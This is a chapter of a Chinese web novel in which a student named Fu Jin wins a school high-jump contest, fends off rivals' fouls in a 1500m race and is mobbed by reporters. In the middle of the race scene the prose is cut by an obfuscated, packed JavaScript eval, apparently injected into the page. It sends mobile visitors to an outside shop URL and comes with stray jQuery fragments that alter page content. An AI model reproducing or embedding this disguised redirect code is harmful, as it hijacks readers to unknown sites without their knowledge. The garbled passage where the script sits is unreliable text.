傅金身体几乎贴着横杆掠过,落下时海绵垫扬起轻微灰尘。
一次成功,横杆纹丝不动!
“漂亮!”省级女专家带上发自内心的笑容,“起跳点抓得太准了,过杆也很利落干脆,不拖泥带水!”
傅金一次次的助跑、起跳、过杆,几乎是同样的流畅与精准。这几次她找到了状态,如她所想多了轻盈感,身躯在空中与飞鸟一般舒展,横杆稳稳架在立柱上。
对手的男生低声骂了一句,第三次试跳拼尽全力,身体在空中几乎扭曲,还是碰到了杆。
淘汰,场上只剩下傅金一人!
掌声雷动,夹杂着口哨和欢呼。傅金从海绵垫上站起来,拍了拍身上的灰尘。
傅金成功挑战的高度已达到国家二级运动员标准,这对非体育特长生来说几乎是天方夜谭。
而这让原本怀揣着满心希望,却再次落空的白芸脸色苍白地坐在人群中,相机始终放在跟班小妹腿上,镜头盖都没机会打开。
白芸不由地攥紧指尖,眼神盯着傅金,愤懑和不甘心油然而生,指甲不知不觉深陷手心。
明摆着,她这是为傅金做了嫁衣,搬起石头砸自己的脚。她这不是傻子,那谁是?她家境优渥,成绩优异,奖状、钢琴等级证书和奖牌摆了一柜子,走到哪里不是被捧着、奉承着的大小姐。
除开还没有追求到孟行之外,何曾在同一个人上栽过跟头?她眼下在常傅金身上却一栽就是两次。
“啊!白芸你弄疼我了!”
一道痛呼在耳边炸响,白芸这才如梦初醒一般卸力,她这才反应过来自己掐痛的是旁边的跟班。
白芸撇了一眼,没当回事:“这么点伤你叫什么?血都没出,娇气。”她一门心思都在离场的傅金身上,此时愤怒郁气交加,没好气地直接起身离开10班观众席。
她不信对方跳高结束,还有力气跑1500米。她还没输,她不可能输!
小妹望着自己被白芸尖锐指甲掐的破皮,肌肤被掐得发白,皮屑乱七八糟地翘起来,稍微动一下手指,手心都扯得火辣辣的疼。
她对着大小姐的背影张了张嘴,终究是本能压制住不甘,没能出声。从小到大这种情况太多,她早已习惯了敢怒不敢言。
她家还要靠白家扶持,她只好低头仔细查看自己的伤口。
——
跳高比赛结束一小时后,1500米检录处。
傅金刚领到新的号码布,身后传来熟悉的声音。
“哟,这不是咱们的双料黑马?”孟行刚从网球场过来,还穿着比赛服,肩上搭着毛巾,短硬的头发被汗水微微浸湿。
刚一走近,傅金便感受到男生扑面而来运动后的热气和张狂的生命力。
偏偏某位像大型犬的体育生还喜欢从她侧后方,整个把上半身压在她身上,末了不嫌热地环住她的脖颈。
那股旺盛的荷尔蒙更猛烈了。
“我说你能不能对自己的体重有点谱儿,”傅金脑袋后退试图远离让她心跳的灼热呼吸,“跟只百八十斤的狗一样重,热死了走开!”
夏天穿的少,孟行这个姿势对她,皮肤没有阻隔地接触,傅金像是能感受到孟行手臂肌肉之下流通的血液。
作为南辰中学的网球王牌,带队队长名副其实,和南辰其他网球特长生差距巨大。孟行在上午的单打比赛中轻松晋级四强,已经进入冠军角逐赛。
他张扬的个性在赛场内外都展露无遗,赢球时会振臂高呼,甚至会在换场时和对手开玩笑,人缘好到离谱。
“我是狗那你能是什么好东西?我就是要压死你!”孟行恨恨用劲勒了勒傅金脖颈,最后还是依言松开,夺过她手里的号码牌给她在背后别,“听说你上午100米第二,下午跳高第一,藏得够深啊常同学。”
“你不是要比比谁更厉害,现在有结果了吧?”傅金扭头对后方的男生说。
“肯定是我啊!”就算比赛没结束,孟行却胸有成竹。他突然默了一瞬,问,“白芸给你报的名?”
傅金脸上笑容一顿,转而露出惊奇表情:“你竟然知道?”
“你这是什么语气?我又不傻!”孟行别好之后,倚靠在栏杆上,语气随意,“她前几天有跟我抱怨过你,直到念参赛者名单过后看你的表情,我就大概猜到了。”
傅金抬眼叉腰看他,对上孟行的狗狗眼,勾唇:“我这不都处理得好好的吗?在我这小事一桩。”
孟行盯着她的眼睛看了几秒,忽然笑了:“不愧是常傅金,那你加油,1500米小心点。”
“小心什么?”
“长跑和短跑、跳高都不一样。”孟行收起笑容,难得露出正经神色,“赛道长,人多,容易发生意外。有些人为达目的,不介意用点小手段。”
他说完,拍拍傅金的肩膀转身走了。
傅金看着他的背影,若有所思。
1500米预决赛,所有选手同场竞技,按成绩排名。二十多名选手挤在起跑线后,在下午热辣的阳光之下,空气中弥漫着汗水和紧张的气息。
发令枪响,人群一窝蜂涌出。
傅金没有抢位,而是保持在队伍中部。前两圈,她以匀速跟随前方的选手,呼吸平稳,步伐轻盈。
长跑赛场,跟紧领头羊不掉队,就赢了一大半。
跑过10班看台时,她能听到林耀星和其他几位同学的呐喊:“常傅金加油!”“保持节奏。”“加油加油,10班最强。”
在她连着两个项目给10班争下脸面后,不少人开始转变对她暴力男同的看法。
第三圈,傅金正准备从外侧弯道处超越一名选手,旁边突然插进一道身影——
是下午跳高比赛的对手。
他的胳膊“无意间”撞向傅金的肋部,同时脚下步伐紊乱,绊向她的小腿。
电光石火间,傅金身体微侧,避开了肋部的撞击,同时左脚轻点地面,一个极其细微的转向,直接让对方的绊脚落空!
两人身体交错瞬间,傅金的手肘撞在赵锐的腰侧软肉处,以其人之道还治其人之身。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715228|204750||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“呃!”男生闷哼一声,节奏被打乱,踉跄了几步,跌倒在跑道上,被身后紧追的选手们纷纷超越。
而傅金趁机加速,从外侧完成超越,全程流畅得像什么都没发生。孟行在赛场浸淫多年,他的提醒不无道理,能力强的选手很多,但不是所有选手都有竞赛道德。
第四圈又来了,这次是两名选手一左一右夹击,试图将她挤到外道,消耗更多体力!
傅金找准时机忽然减速,让两人扑了个空,然后从他们中间突然加速穿出,打了个措手不及。
看台上,省级专家席。
“37号,又是他。战术意识很强啊,”戴眼镜的专家指着赛道,“赛场上这些软刀子最折磨人,你看他每次被针对时的处理,根本不是新手反应。”
“而且他的跑步技术,”女专家拿起望远镜仔细观察,“步频步幅适中,前脚掌着地,这是专业中长跑的技术特点。一个文化生怎么可能掌握这些?”
最后一圈铃响。
位于队伍脖颈部位的傅金从第六位开始加速。
她不是突然冲刺,而是均匀持续地提速。一个一个超越前面的选手,每个超越点都选在弯道结束的理想位置。
最后100米,傅金开始全力冲刺!摆臂幅度加大,步频提升到极致。
这个时候冲刺对于身体和毅力都是极大的考验,以这副身体的耐力,从后半场到现在都是靠着她淬炼出的刚强的精神韧性。
傅金联赛开赛以来,第一次出现明显的用力表情。
她咬着牙用尽全身的最后一丝力气,脑门的汗珠往下掉,几乎要模糊双眼视线,有些火辣辣的。
她在“雨水”中死死盯住终点线,在心底给自己鼓气。
最后抬脚冲线。
第二名,与第一名仅差0.3秒!
傅金冲过终点后没有立刻停下,而是在围观群众中继续慢跑调整。汗水浸湿了她的短发,贴在额前。
她抬起手臂,在肩膀的短袖口上擦了把脸。
“咔嚓。”
“咔嚓。”
眼前清晰后,傅金及时转头,透过不清晰的眼睛,隐约是几个扛着摄像机、话筒和版面标识的记者,有些正在拍照。不仅是体育记者,还有娱乐版面的。
常傅金的外貌确实出众,即使现在满脸汗水、短发汗湿凌乱,但女生男相,自有一股英气的冲击力,棕色雀斑更添了辨识度,让人过目不忘。
“同学!能采访一下吗?”
“常傅金同学!你是如何做到兼顾学习和体育的?”
“有考虑转体育特长生吗?”
傅金脚步一转方向,想穿过观众席回后台休息室,但记者们围了上来。长枪短炮怼到面前,问题一个接一个:
“听说你从来没接触过体育竞赛?现在连拿两个第二,一个第一,有什么感想?”
“你的外貌条件很好,有想过进娱乐圈吗?”
“你平时有训练过吗?是如何逆袭到第一的?有用什么药物?可以透露一下吗?”